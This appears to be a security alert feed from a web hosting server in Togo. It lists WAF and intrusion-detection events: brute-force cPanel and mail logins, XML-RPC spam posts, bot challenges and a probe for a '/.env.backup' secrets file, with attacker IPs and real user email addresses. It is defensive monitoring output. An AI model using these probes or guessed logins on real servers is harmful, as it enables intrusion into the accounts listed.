plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.99.46.203
country_id: 1522867
description:
2026-06-19 07:30:50 H=([37.99.47.132]) [37.99.46.203]:59221 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:32:30 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:32:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:32:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:32:30 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.155.37.6
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/04/F9A8339-1024x683.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2025/04/F9A8339-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/04/F9A8339-768x512.webp 768w, http:/togodailynews.tg/wp-content/uploads/2025/04/F9A8339-1536x1025.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2025/04/F9A8339-2048x1366.webp 2048w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5685b868f3a4e25b213a4f0d919fee947f8611d2||Title:ang592ca0j07cn||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.92.188
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/06/264d8a2d12b255492c0a14e0e8210b28_XL.jpg 352w, http:/togodailynews.tg/wp-content/uploads/2024/06/264d8a2d12b255492c0a14e0e8210b28_XL-300x182.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7af94ec1c094c9fc425129650b0e673040bd6f9f||Title:3a5ojn3yec9n1e9||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.172.128.74
country_id: 3932488
description:
38.172.128.74 - - [19/Jun/2026:07:35:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12962201&pdata=https%253A%252F%252Fwebmail.whereis.free.netmaster.tg%252F%253Flocale%253Dhe&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781854532 HTTP/2.0" 302 0 webmail.whereis.free.netmaster.tg "https://webmail.whereis.free.netmaster.tg/?locale=he" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.172.128.74


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:36:08 +0000] info [cpaneld] 185.55.240.13 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-19 07:36:31 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4cb37746316d319b3fe70a919e589864ceac77e1||Title:13smaao1z2164p61gg||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6d6b9efabb3821c366e7e67c4ead1e323f725638||Title:r4q2obtfj0igqwd||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.111.225.213
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/837573 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ae4f0bbfb1b16d2a79c09e4cddec7e0f9001b986||Title:pgowrka5i2x4w9ro0i||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:03a81a7ba71cdf96756cacbec11ca6342f367640||Title:ormrzohb5ge078l||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:07:39:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866796&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781854795 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:40:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869933&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781854798 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:41:13 +0000] info [cpaneld] 185.55.240.13 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3a07c49cb74045b03c372196ce54ec8070bcc0c9||Title:6rgkkho4ns2vu95m||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.6.71
country_id: 2395170
description:
Jun 19 07:42:07 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.6.71 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:42:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13395871&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781854927 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.100.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f38e3e69f79c7430b3ba5554a8fab3b92b2424ad||Title:mby7g6l85ft50ovc8w||RSV:8.19||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@cloud-et-racks.tg [06/19/2026:07:44:16 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@cloud-et-racks.tg


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - sandrine.a@cloud-et-racks.tg [06/19/2026:07:45:30 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: sandrine.a@cloud-et-racks.tg


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-06-19 07:46:20 +0000] info [webmaild] 196.170.66.202 - illene.e@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.151.32] != Current IP Address [196.170.66.202]


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - visite@cloud-et-racks.tg [06/19/2026:07:46:36 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: visite@cloud-et-racks.tg


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:46:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:46:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:46:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:46:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-19 07:49:10 +0000] info [cpaneld] 45.61.130.187 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.172
country_id: 3469034
description:
Jun 19 07:48:55 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.102.79
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?url=http:/togodailynews.tg/a-addis-abeba-le-togo-impulse-une-decision-historique-sur-la-cartographie-de-lafrique/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.238.99
country_id: 6252001
description:
2026-06-19 07:50:01 dovecot_plain authenticator failed for H=(154.70.82.246) [72.56.238.99]:52408: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:50:01 +0000] info [cpaneld] 185.55.240.13 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 07:50:54 +0000] info [cpaneld] 102.54.238.57 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 107.151.249.11
country_id: 6252001
domain: www.togofeed.com
description:
IM360 WAF: Request body parsing error||err_msg:Multipart: Boundary not found in C-T.||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.163.4
country_id: 3469034
domain: belali.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:dmmkifel||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.178.20.56
country_id: 2464461
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-covid-19-linconscience-de-certains-expose-les-autres-au-risque-de-contamination HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.68.59.17
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/548900647 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:52:51 +0000] info [cpaneld] 185.55.240.13 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.219.13.2
country_id: 3585968
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1778235161 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.111.94
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/?p=9084 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-19 07:55:00 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:54640: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.69.209.140
country_id: 1643084
description:
[2026-06-19 07:54:58 +0000] info [cpaneld] 36.69.209.140 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.128.9.139
country_id: 2264397
description:
[2026-06-19 07:55:24 +0000] info [cpaneld] 185.128.9.139 - minto "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user minto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.128.9.139
country_id: 2264397
description:
[2026-06-19 07:55:52 +0000] info [cpaneld] 185.128.9.139 - dgdntogi "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogi (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.168.190
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/vers-le-developpement-de-laffacturage-au-togo HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:07:56:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10381928&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781855760 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:56:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6725276&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781855761 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-19 07:56:24 +0000] info [cpaneld] 103.59.161.65 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.128.9.139
country_id: 2264397
description:
[2026-06-19 07:56:28 +0000] info [cpaneld] 185.128.9.139 NEW dgdntogo:JlciRw56SzfMnv2Q address=185.128.9.139,app=cpaneld,creator=dgdntogo,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.107.45
country_id: 2363686
description:
[2026-06-19 07:58:05 +0000] info [webmaild] 196.168.107.45 - raouf.damtare@togointerim.net "POST /cpsess4730994624/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.169.23.213] != Current IP Address [196.168.107.45]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.162.66.211
country_id: 6252001
description:
[2026-06-19 07:58:10 +0000] info [cpaneld] 54.162.66.211 - enadamso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.249.130.158
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-faure-gnassingbe-annonce-une-grace-presidentielle-pour-des-detenus HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:58:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13224857&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781855901 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.143.139.101
country_id: 2510769
description:
2026-06-19 08:00:04 dovecot_login authenticator failed for H=ip94-143-139-101.pbiaas.com (ADMIN) [94.143.139.101]:58605: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.75.208
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/nouveau-cadre-de-partenariat-banque-mondiale-togo-marie-chantal-uwanyiligira-salue-les-orientations-de-faure-gnassingbe HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 19 07:59:37 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.222.88.213
country_id: 1522867
description:
2026-06-19 08:00:21 H=([91.222.88.213]) [91.222.88.213]:65039 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.224.14.146
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-le-gouvernement-recrute-900-tuteurs-pour-la-formation-a-lia-et-a-langlais HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.172.43.114
country_id: 1605651
description:
Jun 19 07:59:57 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.172.43.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-19 07:59:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45054: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.1.106.174
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/sante-206-milliards-de-francs-depenses-entre-2019-et-2021/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 19 08:00:27 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.164.115.86
country_id: 3469034
description:
Jun 19 08:00:35 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.164.115.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.164.115.86
country_id: 3469034
description:
2026-06-19 08:00:37 dovecot_login authenticator failed for H=([222.108.109.37]) [45.164.115.86]:42023: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 08:01:25 +0000] info [cpaneld] 185.55.240.13 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.0.246.207
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/education-nationale-les-sept-axes-prioritaires-en-2026 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.245.204.181
country_id: 3469034
